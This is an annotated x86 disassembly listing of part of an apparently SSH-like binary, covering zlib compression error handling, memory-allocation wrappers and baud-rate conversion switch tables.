08056d3c   eb 40                     jmp     08056d7e <Unknown0168+0xe2>
08056d3e   89 f6                     mov     %esi,%esi
08056d40   83 ec 0c                  sub     $0xc,%esp
08056d43   68 e0 14 07 08            push    $0x80714e0  ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                          "buffer_compress: deflate returned Z_STREAM_END"
08056d48   e8 0f 92 ff ff            call    0804ff5c <Unknown0044>
08056d4d   83 c4 10                  add     $0x10,%esp
08056d50   83 ec 0c                  sub     $0xc,%esp
08056d53   68 20 15 07 08            push    $0x8071520  ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                          "buffer_compress: deflate returned Z_STREAM_ERROR"
08056d58   e8 ff 91 ff ff            call    0804ff5c <Unknown0044>
08056d5d   83 c4 10                  add     $0x10,%esp
08056d60   83 ec 0c                  sub     $0xc,%esp
08056d63   68 60 15 07 08            push    $0x8071560  ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                          "buffer_compress: deflate returned Z_BUF_ERROR"
08056d68   e8 ef 91 ff ff            call    0804ff5c <Unknown0044>
08056d6d   83 c4 10                  add     $0x10,%esp
08056d70   83 ec 08                  sub     $0x8,%esp
08056d73   53                        push    %ebx
08056d74   68 a0 15 07 08            push    $0x80715a0  ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                          "buffer_compress: deflate returned %d"
08056d79   e8 de 91 ff ff            call    0804ff5c <Unknown0044>
08056d7e   83 c4 10                  add     $0x10,%esp
08056d81   8b 1d 10 be 07 08         mov     0x807be10,%ebx   ;[in .bss] 134657472 'xc0 xb5 x6 x8' ""
08056d87   85 db                     test    %ebx,%ebx
08056d89   0f 84 55 ff ff ff         je      08056ce4 <Unknown0168+0x48>   ;-171 'x55 xff xff xff' "U"
08056d8f   8d 65 f4                  lea     0xfffffff4(%ebp),%esp
08056d92   5b                        pop     %ebx
08056d93   5e                        pop     %esi
08056d94   5f                        pop     %edi
08056d95   5d                        pop     %ebp
08056d96   c3                        ret
08056d97   90                        nop


   ;
   ; >---------------------<  Subroutine # 169 >---------------------<
   ;
08056d98 <Unknown0169>:
08056d98   55                        push    %ebp
08056d99   89 e5                     mov     %esp,%ebp
08056d9b   57                        push    %edi
08056d9c   56                        push    %esi
08056d9d   53                        push    %ebx
08056d9e   81 ec 18 10 00 00         sub     $0x1018,%esp   ;4120 'x18 x10 x0 x0' ""
08056da4   8b 5d 08                  mov     0x8(%ebp),%ebx
08056da7   53                        push    %ebx
08056da8   e8 5f ed ff ff            call    08055b0c <Unknown0123>
08056dad   89 1c 24                  mov     %ebx,(%esp,1)
08056db0   a3 c0 bd 07 08            mov     %eax,0x807bdc0   ;[in .bss] 134519772 'xdc x9b x4 x8' ""
08056db5   e8 8e ec ff ff            call    08055a48 <Unknown0119>
08056dba   a3 c4 bd 07 08            mov     %eax,0x807bdc4   ;[in .bss] 7132 'xdc x1b x0 x0' ""
08056dbf   8d 85 e8 ef ff ff         lea     0xfffffee8(%ebp),%eax   ;-4120 'xe8 xef xff xff' ""
08056dc5   a3 cc bd 07 08            mov     %eax,0x807bdcc   ;[in .bss] 0 'x0 x0 x0 x0' ""
08056dca   c7 05 d0 bd 07 08 00 10 00 00  movl $0x1000,0x807bdd0  ;4096 'x0 x10 x0 x0' ""
08056dd4   83 c4 10                  add     $0x10,%esp
08056dd7   bf 10 17 07 08            mov     $0x8071710,%edi   ;[in .rodata] 134573704 'x88 x6e x5 x8' ""
08056ddc   83 ec 08                  sub     $0x8,%esp
08056ddf   6a 01                     push    $0x1
08056de1   68 c0 bd 07 08            push    $0x807bdc0   ;[in .bss] 134519772 'xdc x9b x4 x8' ""
08056de6   e8 f1 1c 01 00            call    08068adc <Unknown0431>
08056deb   89 c3                     mov     %eax,%ebx
08056ded   8d 43 05                  lea     0x5(%ebx),%eax
08056df0   83 c4 10                  add     $0x10,%esp
08056df3   83 f8 06                  cmp     $0x6,%eax
08056df6   77 78                     ja      08056e70 <Unknown0169+0xd8>
08056df8   ff 24 87                  jmp     *(%edi,%eax,4)
08056dfb   90                        nop
08056dfc   bb 00 10 00 00            mov     $0x1000,%ebx   ;4096 'x0 x10 x0 x0' ""
08056e01   89 d8                     mov     %ebx,%eax
08056e03   52                        push    %edx
08056e04   2b 05 d0 bd 07 08         sub     0x807bdd0,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
08056e0a   50                        push    %eax
08056e0b   8d b5 e8 ef ff ff         lea     0xfffffee8(%ebp),%esi   ;-4120 'xe8 xef xff xff' ""
08056e11   56                        push    %esi
08056e12   ff 75 0c                  pushl   0xc(%ebp)
08056e15   e8 6a eb ff ff            call    08055984 <Unknown0117>
08056e1a   83 c4 10                  add     $0x10,%esp
08056e1d   89 35 cc bd 07 08         mov     %esi,0x807bdcc   ;[in .bss] 0 'x0 x0 x0 x0' ""
08056e23   89 1d d0 bd 07 08         mov     %ebx,0x807bdd0   ;[in .bss] 0 'x0 x0 x0 x0' ""
08056e29   eb b1                     jmp     08056ddc <Unknown0169+0x44>
```

```
08056e2b  90                        nop
08056e2c  83 ec 0c                  sub     $0xc,%esp
08056e2f  68 e0 15 07 08            push    $0x80715e0   ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                         "buffer_uncompress: inflate returned Z_STREAM_END"
08056e34  e8 23 91 ff ff            call    0804ff5c <Unknown0044>
08056e39  83 c4 10                  add     $0x10,%esp
08056e3c  83 ec 0c                  sub     $0xc,%esp
08056e3f  68 20 16 07 08            push    $0x8071620   ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                         "buffer_uncompress: inflate returned Z_DATA_ERROR"
08056e44  e8 13 91 ff ff            call    0804ff5c <Unknown0044>
08056e49  83 c4 10                  add     $0x10,%esp
08056e4c  83 ec 0c                  sub     $0xc,%esp
08056e4f  68 60 16 07 08            push    $0x8071660   ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                         "buffer_uncompress: inflate returned Z_STREAM_ERROR"
08056e54  e8 03 91 ff ff            call    0804ff5c <Unknown0044>
08056e59  83 c4 10                  add     $0x10,%esp
08056e5c  eb 2a                     jmp     08056e88 <Unknown0169+0xf0>
08056e5e  89 f6                     mov     %esi,%esi
08056e60  83 ec 0c                  sub     $0xc,%esp
08056e63  68 a0 16 07 08            push    $0x80716a0   ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                         "buffer_uncompress: inflate returned Z_MEM_ERROR"
08056e68  e8 ef 90 ff ff            call    0804ff5c <Unknown0044>
08056e6d  83 c4 10                  add     $0x10,%esp
08056e70  83 ec 08                  sub     $0x8,%esp
08056e73  53                        push    %ebx
08056e74  68 e0 16 07 08            push    $0x80716e0   ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                         "buffer_uncompress: inflate returned %d"
08056e79  e8 de 90 ff ff            call    0804ff5c <Unknown0044>
08056e7e  83 c4 10                  add     $0x10,%esp
08056e81  e9 56 ff ff ff            jmp     08056ddc <Unknown0169+0x44>   ;-170 'x56 xff xff xff' "V"
08056e86  89 f6                     mov     %esi,%esi
08056e88  8d 65 f4                  lea     0xfffffff4(%ebp),%esp
08056e8b  5b                        pop     %ebx
08056e8c  5e                        pop     %esi
08056e8d  5f                        pop     %edi
08056e8e  5d                        pop     %ebp
08056e8f  c3                        ret


  ;
  ; >---------------------<  Subroutine # 170 >---------------------<
  ;
08056e90 <Unknown0170>:
08056e90  55                        push    %ebp
08056e91  89 e5                     mov     %esp,%ebp
08056e93  56                        push    %esi
08056e94  53                        push    %ebx
08056e95  83 ec 0c                  sub     $0xc,%esp
08056e98  8b 75 08                  mov     0x8(%ebp),%esi
08056e9b  56                        push    %esi
08056e9c  e8 7b 30 ff ff            call    08049f1c <malloc>
08056ea1  89 c3                     mov     %eax,%ebx
08056ea3  83 c4 10                  add     $0x10,%esp
08056ea6  85 db                     test    %ebx,%ebx
08056ea8  75 11                     jne     08056ebb <Unknown0170+0x2b>
08056eaa  83 ec 08                  sub     $0x8,%esp
08056ead  56                        push    %esi
08056eae  68 40 17 07 08            push    $0x8071740   ;[in .rodata] 1818324344 'x78 x6d x61 x6c' "xmalloc:
                                                         out of memory (allocating %d bytes)"
08056eb3  e8 a4 90 ff ff            call    0804ff5c <Unknown0044>
08056eb8  83 c4 10                  add     $0x10,%esp
08056ebb  8d 65 f8                  lea     0xfffffff8(%ebp),%esp
08056ebe  89 d8                     mov     %ebx,%eax
08056ec0  5b                        pop     %ebx
08056ec1  5e                        pop     %esi
08056ec2  5d                        pop     %ebp
08056ec3  c3                        ret


  ;
  ; >---------------------<  Subroutine # 171 >---------------------<
  ;
08056ec4 <Unknown0171>:
08056ec4  55                        push    %ebp
08056ec5  89 e5                     mov     %esp,%ebp
08056ec7  56                        push    %esi
08056ec8  53                        push    %ebx
08056ec9  8b 5d 08                  mov     0x8(%ebp),%ebx
08056ecc  85 db                     test    %ebx,%ebx
08056ece  8b 75 0c                  mov     0xc(%ebp),%esi
08056ed1  75 10                     jne     08056ee3 <Unknown0171+0x1f>
08056ed3  83 ec 0c                  sub     $0xc,%esp
08056ed6  68 80 17 07 08            push    $0x8071780   ;[in .rodata] 1634038392 'x78 x72 x65 x61' "xrealloc:
```

NULL pointer given as
argument"

```
08056edb   e8 7c 90 ff ff        call     0804ff5c <Unknown0044>
08056ee0   83 c4 10              add      $0x10,%esp
08056ee3   83 ec 08              sub      $0x8,%esp
08056ee6   56                    push     %esi
08056ee7   53                    push     %ebx
08056ee8   e8 af 32 ff ff        call     0804a19c <realloc>
08056eed   89 c3                 mov      %eax,%ebx
08056eef   83 c4 10              add      $0x10,%esp
08056ef2   85 db                 test     %ebx,%ebx
08056ef4   75 11                 jne      08056f07 <Unknown0171+0x43>
08056ef6   83 ec 08              sub      $0x8,%esp
08056ef9   56                    push     %esi
08056efa   68 c0 17 07 08        push     $0x80717c0   ;[in .rodata] 1634038392 'x78 x72 x65 x61' "xrealloc:
                                                            out of memory (new_size %d bytes)"
08056eff   e8 58 90 ff ff        call     0804ff5c <Unknown0044>
08056f04   83 c4 10              add      $0x10,%esp
08056f07   8d 65 f8              lea      0xfffffff8(%ebp),%esp
08056f0a   89 d8                 mov      %ebx,%eax
08056f0c   5b                    pop      %ebx
08056f0d   5e                    pop      %esi
08056f0e   5d                    pop      %ebp
08056f0f   c3                    ret

   ;
   ; >--------------------<  Subroutine # 172 >--------------------<
   ;
08056f10 <Unknown0172>:
08056f10   55                    push     %ebp
08056f11   89 e5                 mov      %esp,%ebp
08056f13   53                    push     %ebx
08056f14   50                    push     %eax
08056f15   8b 5d 08              mov      0x8(%ebp),%ebx
08056f18   85 db                 test     %ebx,%ebx
08056f1a   75 10                 jne      08056f2c <Unknown0172+0x1c>
08056f1c   83 ec 0c              sub      $0xc,%esp
08056f1f   68 00 18 07 08        push     $0x8071800   ;[in .rodata] 1701996152 'x78 x66 x72 x65' "xfree: NULL
                                                            pointer given as argument"
08056f24   e8 33 90 ff ff        call     0804ff5c <Unknown0044>
08056f29   83 c4 10              add      $0x10,%esp
08056f2c   89 5d 08              mov      %ebx,0x8(%ebp)
08056f2f   8b 5d fc              mov      0xfffffffc(%ebp),%ebx
08056f32   c9                    leave
08056f33   e9 54 34 ff ff        jmp      0804a38c <free>   ;-52140 'x54 x34 xff xff' "T4"

   ;
   ; >--------------------<  Subroutine # 173 >--------------------<
   ;
08056f38 <Unknown0173>:
08056f38   55                    push     %ebp
08056f39   89 e5                 mov      %esp,%ebp
08056f3b   57                    push     %edi
08056f3c   56                    push     %esi
08056f3d   53                    push     %ebx
08056f3e   83 ec 18              sub      $0x18,%esp
08056f41   8b 5d 08              mov      0x8(%ebp),%ebx
08056f44   89 df                 mov      %ebx,%edi
08056f46   fc                    cld
08056f47   31 c0                 xor      %eax,%eax
08056f49   b9 ff ff ff ff        mov      $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08056f4e   f2 ae                 repnz scas %es:(%edi),%al
08056f50   f7 d1                 not      %ecx
08056f52   51                    push     %ecx
08056f53   e8 38 ff ff ff        call     08056e90 <Unknown0170>
08056f58   5a                    pop      %edx
08056f59   59                    pop      %ecx
08056f5a   89 c6                 mov      %eax,%esi
08056f5c   53                    push     %ebx
08056f5d   56                    push     %esi
08056f5e   e8 89 35 ff ff        call     0804a4ec <strcpy>
08056f63   83 c4 10              add      $0x10,%esp
08056f66   8d 65 f4              lea      0xfffffff4(%ebp),%esp
08056f69   5b                    pop      %ebx
08056f6a   89 f0                 mov      %esi,%eax
08056f6c   5e                    pop      %esi
08056f6d   5f                    pop      %edi
08056f6e   5d                    pop      %ebp
08056f6f   c3                    ret
```

```
;
; >--------------------<  Subroutine # 174 >--------------------<
;
08056f70 <Unknown0174>:
08056f70   55                      push   %ebp
08056f71   89 e5                   mov    %esp,%ebp
08056f73   8b 45 08                mov    0x8(%ebp),%eax
08056f76   83 f8 09                cmp    $0x9,%eax
08056f79   0f 84 25 01 00 00       je     080570a4 <Unknown0174+0x134>  ;293 'x25 x1 x0 x0' "%"
08056f7f   83 f8 09                cmp    $0x9,%eax
08056f82   77 64                   ja     08056fe8 <Unknown0174+0x78>
08056f84   83 f8 04                cmp    $0x4,%eax
08056f87   0f 84 ef 00 00 00       je     0805707c <Unknown0174+0x10c>  ;239 'xef x0 x0 x0' ""
08056f8d   83 f8 04                cmp    $0x4,%eax
08056f90   77 2a                   ja     08056fbc <Unknown0174+0x4c>
08056f92   83 f8 01                cmp    $0x1,%eax
08056f95   0f 84 c5 00 00 00       je     08057060 <Unknown0174+0xf0>   ;197 'xc5 x0 x0 x0' ""
08056f9b   83 f8 01                cmp    $0x1,%eax
08056f9e   0f 82 b4 00 00 00       jb     08057058 <Unknown0174+0xe8>   ;180 'xb4 x0 x0 x0' ""
08056fa4   83 f8 02                cmp    $0x2,%eax
08056fa7   0f 84 bf 00 00 00       je     0805706c <Unknown0174+0xfc>   ;191 'xbf x0 x0 x0' ""
08056fad   83 f8 03                cmp    $0x3,%eax
08056fb0   0f 84 be 00 00 00       je     08057074 <Unknown0174+0x104>  ;190 'xbe x0 x0 x0' ""
08056fb6   e9 31 01 00 00          jmp    080570ec <Unknown0174+0x17c>  ;305 'x31 x1 x0 x0' "1"
08056fbb   90                      nop
08056fbc   83 f8 06                cmp    $0x6,%eax
08056fbf   0f 84 c7 00 00 00       je     0805708c <Unknown0174+0x11c>  ;199 'xc7 x0 x0 x0' ""
08056fc5   83 f8 06                cmp    $0x6,%eax
08056fc8   0f 82 b6 00 00 00       jb     08057084 <Unknown0174+0x114>  ;182 'xb6 x0 x0 x0' ""
08056fce   83 f8 07                cmp    $0x7,%eax
08056fd1   0f 84 bd 00 00 00       je     08057094 <Unknown0174+0x124>  ;189 'xbd x0 x0 x0' ""
08056fd7   83 f8 08                cmp    $0x8,%eax
08056fda   0f 84 bc 00 00 00       je     0805709c <Unknown0174+0x12c>  ;188 'xbc x0 x0 x0' ""
08056fe0   e9 07 01 00 00          jmp    080570ec <Unknown0174+0x17c>  ;263 'x7 x1 x0 x0' ""
08056fe5   8d 76 00                lea    0x0(%esi),%esi
08056fe8   83 f8 0e                cmp    $0xe,%eax
08056feb   0f 84 d3 00 00 00       je     080570c4 <Unknown0174+0x154>  ;211 'xd3 x0 x0 x0' ""
08056ff1   83 f8 0e                cmp    $0xe,%eax
08056ff4   77 26                   ja     0805701c <Unknown0174+0xac>
08056ff6   83 f8 0b                cmp    $0xb,%eax
08056ff9   0f 84 b5 00 00 00       je     080570b4 <Unknown0174+0x144>  ;181 'xb5 x0 x0 x0' ""
08056fff   83 f8 0b                cmp    $0xb,%eax
08057002   0f 82 a4 00 00 00       jb     080570ac <Unknown0174+0x13c>  ;164 'xa4 x0 x0 x0' ""
08057008   83 f8 0c                cmp    $0xc,%eax
0805700b   0f 84 ab 00 00 00       je     080570bc <Unknown0174+0x14c>  ;171 'xab x0 x0 x0' ""
08057011   83 f8 0d                cmp    $0xd,%eax
08057014   e9 d3 00 00 00          jmp    080570ec <Unknown0174+0x17c>  ;211 'xd3 x0 x0 x0' ""
08057019   8d 76 00                lea    0x0(%esi),%esi
0805701c   3d 01 10 00 00          cmp    $0x1001,%eax  ;4097 'x1 x10 x0 x0' ""
08057021   0f 84 ad 00 00 00       je     080570d4 <Unknown0174+0x164>  ;173 'xad x0 x0 x0' ""
08057027   3d 01 10 00 00          cmp    $0x1001,%eax  ;4097 'x1 x10 x0 x0' ""
0805702c   77 0e                   ja     0805703c <Unknown0174+0xcc>
0805702e   83 f8 0f                cmp    $0xf,%eax
08057031   0f 84 95 00 00 00       je     080570cc <Unknown0174+0x15c>  ;149 'x95 x0 x0 x0' ""
08057037   e9 b0 00 00 00          jmp    080570ec <Unknown0174+0x17c>  ;176 'xb0 x0 x0 x0' ""
0805703c   3d 02 10 00 00          cmp    $0x1002,%eax  ;4098 'x2 x10 x0 x0' ""
08057041   0f 84 95 00 00 00       je     080570dc <Unknown0174+0x16c>  ;149 'x95 x0 x0 x0' ""
08057047   3d 03 10 00 00          cmp    $0x1003,%eax  ;4099 'x3 x10 x0 x0' ""
0805704c   0f 84 92 00 00 00       je     080570e4 <Unknown0174+0x174>  ;146 'x92 x0 x0 x0' ""
08057052   e9 95 00 00 00          jmp    080570ec <Unknown0174+0x17c>  ;149 'x95 x0 x0 x0' ""
08057057   90                      nop
08057058   31 c0                   xor    %eax,%eax
0805705a   e9 92 00 00 00          jmp    080570f1 <Unknown0174+0x181>  ;146 'x92 x0 x0 x0' ""
0805705f   90                      nop
08057060   b8 32 00 00 00          mov    $0x32,%eax  ;50 'x32 x0 x0 x0' "2"
08057065   e9 87 00 00 00          jmp    080570f1 <Unknown0174+0x181>  ;135 'x87 x0 x0 x0' ""
0805706a   89 f6                   mov    %esi,%esi
0805706c   b8 4b 00 00 00          mov    $0x4b,%eax  ;75 'x4b x0 x0 x0' "K"
08057071   eb 7e                   jmp    080570f1 <Unknown0174+0x181>
08057073   90                      nop
08057074   b8 6e 00 00 00          mov    $0x6e,%eax  ;110 'x6e x0 x0 x0' "n"
08057079   eb 76                   jmp    080570f1 <Unknown0174+0x181>
0805707b   90                      nop
0805707c   b8 86 00 00 00          mov    $0x86,%eax  ;134 'x86 x0 x0 x0' ""
08057081   eb 6e                   jmp    080570f1 <Unknown0174+0x181>
08057083   90                      nop
08057084   b8 96 00 00 00          mov    $0x96,%eax  ;150 'x96 x0 x0 x0' ""
08057089   eb 66                   jmp    080570f1 <Unknown0174+0x181>
0805708b   90                      nop
0805708c   b8 c8 00 00 00          mov    $0xc8,%eax  ;200 'xc8 x0 x0 x0' ""
08057091   eb 5e                   jmp    080570f1 <Unknown0174+0x181>
08057093   90                      nop
08057094   b8 2c 01 00 00          mov    $0x12c,%eax  ;300 'x2c x1 x0 x0' ","
08057099   eb 56                   jmp    080570f1 <Unknown0174+0x181>
```

```
0805709b  90                              nop
0805709c  b8 58 02 00 00                  mov     $0x258,%eax  ;600 'x58 x2 x0 x0' "X"
080570a1  eb 4e                           jmp     080570f1 <Unknown0174+0x181>
080570a3  90                              nop
080570a4  b8 b0 04 00 00                  mov     $0x4b0,%eax  ;1200 'xb0 x4 x0 x0' ""
080570a9  eb 46                           jmp     080570f1 <Unknown0174+0x181>
080570ab  90                              nop
080570ac  b8 08 07 00 00                  mov     $0x708,%eax  ;1800 'x8 x7 x0 x0' ""
080570b1  eb 3e                           jmp     080570f1 <Unknown0174+0x181>
080570b3  90                              nop
080570b4  b8 60 09 00 00                  mov     $0x960,%eax  ;2400 'x60 x9 x0 x0' "`"
080570b9  eb 36                           jmp     080570f1 <Unknown0174+0x181>
080570bb  90                              nop
080570bc  b8 c0 12 00 00                  mov     $0x12c0,%eax  ;4800 'xc0 x12 x0 x0' ""
080570c1  eb 2e                           jmp     080570f1 <Unknown0174+0x181>
080570c3  90                              nop
080570c4  b8 00 4b 00 00                  mov     $0x4b00,%eax  ;19200 'x0 x4b x0 x0' ""
080570c9  eb 26                           jmp     080570f1 <Unknown0174+0x181>
080570cb  90                              nop
080570cc  b8 00 96 00 00                  mov     $0x9600,%eax  ;38400 'x0 x96 x0 x0' ""
080570d1  eb 1e                           jmp     080570f1 <Unknown0174+0x181>
080570d3  90                              nop
080570d4  b8 00 e1 00 00                  mov     $0xe100,%eax  ;57600 'x0 xe1 x0 x0' ""
080570d9  eb 16                           jmp     080570f1 <Unknown0174+0x181>
080570db  90                              nop
080570dc  b8 00 c2 01 00                  mov     $0x1c200,%eax  ;115200 'x0 xc2 x1 x0' ""
080570e1  eb 0e                           jmp     080570f1 <Unknown0174+0x181>
080570e3  90                              nop
080570e4  b8 00 84 03 00                  mov     $0x38400,%eax  ;230400 'x0 x84 x3 x0' ""
080570e9  eb 06                           jmp     080570f1 <Unknown0174+0x181>
080570eb  90                              nop
080570ec  b8 80 25 00 00                  mov     $0x2580,%eax  ;9600 'x80 x25 x0 x0' ""
080570f1  5d                              pop     %ebp
080570f2  c3                              ret
080570f3  90                              nop


   ;
   ; >---------------------<  Subroutine # 175 >---------------------<
   ;
080570f4 <Unknown0175>:
080570f4  55                              push    %ebp
080570f5  89 e5                           mov     %esp,%ebp
080570f7  8b 45 08                        mov     0x8(%ebp),%eax
080570fa  3d b0 04 00 00                  cmp     $0x4b0,%eax  ;1200 'xb0 x4 x0 x0' ""
080570ff  0f 84 6b 01 00 00               je      08057270 <Unknown0175+0x17c>  ;363 'x6b x1 x0 x0' "k"
08057105  3d b0 04 00 00                  cmp     $0x4b0,%eax  ;1200 'xb0 x4 x0 x0' ""
0805710a  0f 8f 88 00 00 00               jg      08057198 <Unknown0175+0xa4>  ;136 'x88 x0 x0 x0' ""
08057110  3d 86 00 00 00                  cmp     $0x86,%eax  ;134 'x86 x0 x0 x0' ""
08057115  0f 84 2d 01 00 00               je      08057248 <Unknown0175+0x154>  ;301 'x2d x1 x0 x0' "-"
0805711b  3d 86 00 00 00                  cmp     $0x86,%eax  ;134 'x86 x0 x0 x0' ""
08057120  7f 36                           jg      08057158 <Unknown0175+0x64>
08057122  83 f8 32                        cmp     $0x32,%eax
08057125  0f 84 01 01 00 00               je      0805722c <Unknown0175+0x138>  ;257 'x1 x1 x0 x0' ""
0805712b  83 f8 32                        cmp     $0x32,%eax
0805712e  7f 10                           jg      08057140 <Unknown0175+0x4c>
08057130  85 c0                           test    %eax,%eax
08057132  0f 84 ec 00 00 00               je      08057224 <Unknown0175+0x130>  ;236 'xec x0 x0 x0' ""
08057138  e9 7b 01 00 00                  jmp     080572b8 <Unknown0175+0x1c4>  ;379 'x7b x1 x0 x0' "{"
0805713d  8d 76 00                        lea     0x0(%esi),%esi
08057140  83 f8 4b                        cmp     $0x4b,%eax
08057143  0f 84 ef 00 00 00               je      08057238 <Unknown0175+0x144>  ;239 'xef x0 x0 x0' ""
08057149  83 f8 6e                        cmp     $0x6e,%eax
0805714c  0f 84 ee 00 00 00               je      08057240 <Unknown0175+0x14c>  ;238 'xee x0 x0 x0' ""
08057152  e9 61 01 00 00                  jmp     080572b8 <Unknown0175+0x1c4>  ;353 'x61 x1 x0 x0' "a"
08057157  90                              nop
08057158  3d c8 00 00 00                  cmp     $0xc8,%eax  ;200 'xc8 x0 x0 x0' ""
0805715d  0f 84 f5 00 00 00               je      08057258 <Unknown0175+0x164>  ;245 'xf5 x0 x0 x0' ""
08057163  3d c8 00 00 00                  cmp     $0xc8,%eax  ;200 'xc8 x0 x0 x0' ""
08057168  7f 12                           jg      0805717c <Unknown0175+0x88>
0805716a  3d 96 00 00 00                  cmp     $0x96,%eax  ;150 'x96 x0 x0 x0' ""
0805716f  0f 84 db 00 00 00               je      08057250 <Unknown0175+0x15c>  ;219 'xdb x0 x0 x0' ""
08057175  e9 3e 01 00 00                  jmp     080572b8 <Unknown0175+0x1c4>  ;318 'x3e x1 x0 x0' ">"
0805717a  89 f6                           mov     %esi,%esi
0805717c  3d 2c 01 00 00                  cmp     $0x12c,%eax  ;300 'x2c x1 x0 x0' ","
08057181  0f 84 d9 00 00 00               je      08057260 <Unknown0175+0x16c>  ;217 'xd9 x0 x0 x0' ""
08057187  3d 58 02 00 00                  cmp     $0x258,%eax  ;600 'x58 x2 x0 x0' "X"
0805718c  0f 84 d6 00 00 00               je      08057268 <Unknown0175+0x174>  ;214 'xd6 x0 x0 x0' ""
08057192  e9 21 01 00 00                  jmp     080572b8 <Unknown0175+0x1c4>  ;289 'x21 x1 x0 x0' "!"
08057197  90                              nop
08057198  3d 00 4b 00 00                  cmp     $0x4b00,%eax  ;19200 'x0 x4b x0 x0' ""
0805719d  0f 84 ed 00 00 00               je      08057290 <Unknown0175+0x19c>  ;237 'xed x0 x0 x0' ""
080571a3  3d 00 4b 00 00                  cmp     $0x4b00,%eax  ;19200 'x0 x4b x0 x0' ""
080571a8  7f 3a                           jg      080571e4 <Unknown0175+0xf0>
```

```
080571aa   3d 60 09 00 00      cmp    $0x960,%eax   ;2400 'x60 x9 x0 x0' "`"
080571af   0f 84 cb 00 00 00   je     08057280 <Unknown0175+0x18c>  ;203 'xcb x0 x0 x0' ""
080571b5   3d 60 09 00 00      cmp    $0x960,%eax   ;2400 'x60 x9 x0 x0' "`"
080571ba   7f 10               jg     080571cc <Unknown0175+0xd8>
080571bc   3d 08 07 00 00      cmp    $0x708,%eax   ;1800 'x8 x7 x0 x0' ""
080571c1   0f 84 b1 00 00 00   je     08057278 <Unknown0175+0x184>  ;177 'xb1 x0 x0 x0' ""
080571c7   e9 ec 00 00 00      jmp    080572b8 <Unknown0175+0x1c4>  ;236 'xec x0 x0 x0' ""
080571cc   3d c0 12 00 00      cmp    $0x12c0,%eax  ;4800 'xc0 x12 x0 x0' ""
080571d1   0f 84 b1 00 00 00   je     08057288 <Unknown0175+0x194>  ;177 'xb1 x0 x0 x0' ""
080571d7   3d 80 25 00 00      cmp    $0x2580,%eax  ;9600 'x80 x25 x0 x0' ""
080571dc   e9 d7 00 00 00      jmp    080572b8 <Unknown0175+0x1c4>  ;215 'xd7 x0 x0 x0' ""
080571e1   8d 76 00            lea    0x0(%esi),%esi
080571e4   3d 00 e1 00 00      cmp    $0xe100,%eax  ;57600 'x0 xe1 x0 x0' ""
080571e9   0f 84 b1 00 00 00   je     080572a0 <Unknown0175+0x1ac>  ;177 'xb1 x0 x0 x0' ""
080571ef   3d 00 e1 00 00      cmp    $0xe100,%eax  ;57600 'x0 xe1 x0 x0' ""
080571f4   7f 12               jg     08057208 <Unknown0175+0x114>
080571f6   3d 00 96 00 00      cmp    $0x9600,%eax  ;38400 'x0 x96 x0 x0' ""
080571fb   0f 84 97 00 00 00   je     08057298 <Unknown0175+0x1a4>  ;151 'x97 x0 x0 x0' ""
08057201   e9 b2 00 00 00      jmp    080572b8 <Unknown0175+0x1c4>  ;178 'xb2 x0 x0 x0' ""
08057206   89 f6               mov    %esi,%esi
08057208   3d 00 c2 01 00      cmp    $0x1c200,%eax ;115200 'x0 xc2 x1 x0' ""
0805720d   0f 84 95 00 00 00   je     080572a8 <Unknown0175+0x1b4>  ;149 'x95 x0 x0 x0' ""
08057213   3d 00 84 03 00      cmp    $0x38400,%eax ;230400 'x0 x84 x3 x0' ""
08057218   0f 84 92 00 00 00   je     080572b0 <Unknown0175+0x1bc>  ;146 'x92 x0 x0 x0' ""
0805721e   e9 95 00 00 00      jmp    080572b8 <Unknown0175+0x1c4>  ;149 'x95 x0 x0 x0' ""
08057223   90                  nop
08057224   31 c0               xor    %eax,%eax
08057226   e9 92 00 00 00      jmp    080572bd <Unknown0175+0x1c9>  ;146 'x92 x0 x0 x0' ""
0805722b   90                  nop
0805722c   b8 01 00 00 00      mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08057231   e9 87 00 00 00      jmp    080572bd <Unknown0175+0x1c9>  ;135 'x87 x0 x0 x0' ""
08057236   89 f6               mov    %esi,%esi
08057238   b8 02 00 00 00      mov    $0x2,%eax   ;2 'x2 x0 x0 x0' ""
0805723d   eb 7e               jmp    080572bd <Unknown0175+0x1c9>
0805723f   90                  nop
08057240   b8 03 00 00 00      mov    $0x3,%eax   ;3 'x3 x0 x0 x0' ""
08057245   eb 76               jmp    080572bd <Unknown0175+0x1c9>
08057247   90                  nop
08057248   b8 04 00 00 00      mov    $0x4,%eax   ;4 'x4 x0 x0 x0' ""
0805724d   eb 6e               jmp    080572bd <Unknown0175+0x1c9>
0805724f   90                  nop
08057250   b8 05 00 00 00      mov    $0x5,%eax   ;5 'x5 x0 x0 x0' ""
08057255   eb 66               jmp    080572bd <Unknown0175+0x1c9>
08057257   90                  nop
08057258   b8 06 00 00 00      mov    $0x6,%eax   ;6 'x6 x0 x0 x0' ""
0805725d   eb 5e               jmp    080572bd <Unknown0175+0x1c9>
0805725f   90                  nop
08057260   b8 07 00 00 00      mov    $0x7,%eax   ;7 'x7 x0 x0 x0' ""
08057265   eb 56               jmp    080572bd <Unknown0175+0x1c9>
08057267   90                  nop
08057268   b8 08 00 00 00      mov    $0x8,%eax   ;8 'x8 x0 x0 x0' ""
0805726d   eb 4e               jmp    080572bd <Unknown0175+0x1c9>
0805726f   90                  nop
08057270   b8 09 00 00 00      mov    $0x9,%eax   ;9 'x9 x0 x0 x0' ""
08057275   eb 46               jmp    080572bd <Unknown0175+0x1c9>
08057277   90                  nop
08057278   b8 0a 00 00 00      mov    $0xa,%eax   ;10 'xa x0 x0 x0' ""
0805727d   eb 3e               jmp    080572bd <Unknown0175+0x1c9>
0805727f   90                  nop
08057280   b8 0b 00 00 00      mov    $0xb,%eax   ;11 'xb x0 x0 x0' ""
08057285   eb 36               jmp    080572bd <Unknown0175+0x1c9>
08057287   90                  nop
08057288   b8 0c 00 00 00      mov    $0xc,%eax   ;12 'xc x0 x0 x0' ""
0805728d   eb 2e               jmp    080572bd <Unknown0175+0x1c9>
